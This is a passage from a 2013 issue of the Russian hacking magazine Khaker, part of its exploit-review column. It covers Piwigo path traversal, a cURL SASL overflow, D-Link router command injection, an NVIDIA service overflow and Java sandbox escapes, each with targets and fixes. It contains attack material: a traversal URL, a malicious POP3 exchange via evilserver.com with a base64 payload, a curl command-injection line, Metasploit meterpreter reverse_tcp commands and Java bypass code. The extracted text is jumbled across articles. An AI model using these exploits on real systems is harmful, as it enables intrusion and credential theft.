ХАКЕР 04 /171/ 2013 Взлом65Обзор эксплойтов$_GET['dl'];...echo file_get_contents($filename);...}Например, для того, чтобы узнать настройки подключения к БД, обратимсяпо следующему адресу:http://[TARGET_HOST]/install.php?dl=/../../local/config/database.inc.phpНо не забываем, что при этом файл удалится, и сайт перестанет работать.Уязвимость тестировалась на Windows 7, PHP 5.3+.TARGETS. Piwigo 2.4.6 и, возможно, предыдущие версии.SOLUTION. Обновиться до 2.4.7.ПЕРЕПОЛНЕНИЕ БУФЕРА В СURLCVSSv210 (AV:R/AC:L/Au:N/C:C/I:C/A:C)Дата релиза: 6 февраля 2013 годаАвтор:VolemaCVE: 2013-0249В функциях обработки POP3-, SMTP-протоколов была найдена удаленноэксплуатируемая уязвимость, которая может привести к выполнениюпроизвольного кода. Так как исходники программы хранятся на GitHub,то мы без проблем можем посмотреть на патч, исправляющий эту ошибку:bit.ly/ZrvZsN. Видно, что использовались небезопасные функции по работесо строками: strcat и strcpy, без соответствующих проверок. В момент,когда происходит аутентификация SASL DIGEST-MD5, функция Curl_sasl_create_digest_md5_message() использует данные, пришедшие от сервера,не проверив их длину. Далее эти данные добавляются к буферу фиксированногоразмера.EXPLOIT. Эксплуатация возможна при обращении к почтовым серверам,но можно использовать маленькую хитрость и выполнить это через веб. ДелаемHTTP-запрос на наш сервер:GET / HTTP/1.0Host: evilserver.comкоторый вернет редирект на почтовый сервер через location:HTTP/1.0 302 FoundLocation: pop3://x:x@evilserver.com/.CURL обработает редирект и подсоединится к evilserver.com на порт 110,используя POP3-протокол. Ответ сервера при этом должен быть:+OK POP3 server readyОтвет cURL:Возможно, ты заметил что-то знакомое в коде. Это base64 следующегозапроса:realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8Переполнение буфера возникает из-за того, что размер буфера "URI" —128 и размер параметра realm также 128. В GDB наша ошибка выглядит следующимобразом:Program received signal SIGSEGV, Segmentation fault.0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6(gdb) bt#0 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6#1 0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message ()from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4#2 0x4141414141414141 in ?? ()...#1469 0x4141414141414141 in ?? ()#1470 0x656d616e72657375 in ?? ()Cannot access memory at address 0x7fff63b8b000Исходник сплоита можно найти в блоге автора: bit.ly/ZoOryR.TARGETS. CURL/libcurl версии с 7.26.0 до 7.28.1.SOLUTION. Рекомендуется отключить все протоколы, кроме HTTP(S),в приложениях, использующих CURLOPT_PROTOCOLS и CURLOPT_REDIR_PROTOCOLS, или установить версию 7.29.0 или выше.МНОГОЧИСЛЕННЫЕ УЯЗВИМОСТИВ РОУТЕРАХ D-LINK DIR-600 И DIR-300 (REV B)CVSSv2:Дата релиза:Автор:CVE:N/A4 февраля 2013 годаm-1-k-3N/AАвтор эксплойта ждал почти два месяца с момента обнаружения уязвимостии уведомления вендора, но так и не получил ответа. Поэтому решено быловыложить все наработки в паблик.EXPLOIT. Уязвимость существует из-за отсутствия как ограничения, так и проверкивходящего параметра cmd, что позволяет выполнить любой код неавторизованномупользователю. Можно даже не использовать эксплойт 1337day.com/exploit/20327, а просто запустить из командной строки в любом Linux:CAPAСервер отвечает с помощью механизма DIGEST-MD5:+OK List of capabilities followsSASL DIGEST-MD5IMPLEMENTATION dumbydumb POP3 serverПоэтому libcurl отвечает соответственно:AUTH DIGEST-MD5И теперь высылаем полезную нагрузку:+ cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg=Получение шелла на роутере D-Link
66ХАКЕР 04 /171/ 2013с большим количеством атак на Java, в интернете появилось много статей,как описывающих отключение Java-плагинов в своих браузерах, так и простопризывающих к этому. Уязвимость существует в методе com.sun.jmx.mbeanserver.MBeanInstantiator.findClass Java-апплета и дает возможностьобойти песочницу и запустить произвольный Java-код, так как сам метод позволяетполучить ссылки на любой класс.EXPLOIT. Эксплуатация с помощью Metasploit не составляет труда и содержитполезную нагрузку для всех популярных ОС: Windows, Linux, OS X.Результат работы эксплойта для фряшного FTPdcurl --data "cmd=cat /var/passwd" http:///command.phpА так как в некоторых версиях устройства пароль администратора хранитсяобычным текстом, то получить права администратора атакующемуне составит труда. Также в интернете можно найти эксплойты от этого авторадля других моделей устройств D-Link, а также для железок других вендоров,например TP-LINK: is.gd/0BIbyC.TARGETSDIR-300: Версия прошивки: 2.12 — 18.01.2012; 2.13 — 07.11.2012DIR-600: Версия прошивки: 2.12b02 — 17.01.2012; 2.13b01 — 07.11.2012;2.14b01 — 22.01.2013SOLUTION. Патча от разработчика пока не поступало.NVIDIA DISPLAY DRIVER SERVICE (NSVR) EXPLOITCVSSv2:Дата релиза:Автор:CVE:N/A25 декабря 2012 года@peterwintrsmithN/AНеплохой подарок к Новому году как раз после «конца света» сделал пользовательPeterwintrsmith, который нашел уязвимость в… видеодрайвере. Даеще и опубликовал исходники на pastebin до патча вендора, который смог закрытьуязвимость только в январе этого года.EXPLOIT. Уязвимость стара как мир — переполнение буфера — и находитсяв службе NVIDIA Display Driver Service, прослушивающей именованный канал(named pipe) \pipe\nsvr, который сконфигурирован с флагом NULL DACL,что позволяет обращаться к нему любому пользователю Windows-системы.А переполнение буфера, в свою очередь, возникает в результате неправильногопереноса данных с помощью функции memmove.Сам эксплойт написан в олдскульном стиле на С++, и для его запуска придетсяобратиться к компилятору. Для удачной атаки потребуется локальный/доменный доступ к машине. По умолчанию полезная нагрузка создает новогопользователя r00t с паролем r00t00r.Исходники эксплойта — is.gd/MfuPBL.TARGETS. До 310.90.SOLUTION. Доступно обновление с исправлением данной ошибки от производителя.JAVA APPLET JMX REMOTECODE EXECUTION 0-DAYCVSSv29.3 (AV:R/AC:M/Au:N/C:C/I:C/A:C)Дата релиза: 10 января 2013 годаАвтор:неизвестенCVE: 2013-0422Первоначально исходники эксплойта (is.gd/fRJ5PL) были выложенына сервисе pastebin со ссылкой на форум damagelab и пометкой «FromRussia with love». Уже на следующий день появился полноценный модульдля Metasploit. Данная уязвимость использовалась всеми популярными эксплойт-пакамиеще до того, как был выпущен соответствующий патч. В связиmsf > use exploit/multi/browser/java_jre17_jmxbeanmsf exploit(java_jre17_jmxbean) > set TARGET 1msf exploit(java_jre17_jmxbean) > set PAYLOAD windows/meterpreter/reverse_tcpmsf exploit(java_jre17_jmxbean) > set LHOST 192.168.24.141msf exploit(java_jre17_jmxbean) > exploitБолее подробно про уязвимость можно прочитать в whitepaper от Immunity:bit.ly/Udtya2.TARGETS. Java 7ux–7u10 включительно.SOLUTION. Доступно обновление с исправлением данной ошибки от производителя.УДАЛЕННОЕ ВЫПОЛНЕНИЕ КОДА В JAVAAPPLET METHOD HANDLECVSSv210 (AV:R/AC:L/Au:N/C:C/I:C/A:C)Дата релиза: 24 января 2013 годаАвтор:неизвестенCVE: 2012-5088Уязвимость существует в функции java.lang.invoke.MethodHandle.invokeWithArguments. При создании сплоита мы делаем из нее «обертку»для метода invokeExact, который поддерживается тем же классом —MethodHandle.public Object invokeWithArguments(Object... arguments)throws Throwable {int argc = arguments == null ? 0 : arguments.length;MethodType type = type();if (type.parameterCount() != argc ||isVarargsCollector()) {// Симулируем invokereturn asType(MethodType.genericMethodType(argc)).invokeWithArguments(arguments);}MethodHandle invoker = type.invokers().varargsInvoker();return invoker.invokeExact(this, arguments);}Судя по документу bit.ly/Xyklwf, это позволяет обойти проверку безопасности,определенную при прямом вызове. Это можно использовать для ограниченногосписка классов, например как здесь:MethodHandles.Lookup localLookup = MethodHandles.publicLookup();MethodType localMethodType0 = MethodType.methodType(Class.class, String.class);MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0);Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" });Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });Рассмотрим проверку безопасности в методе Class.forName():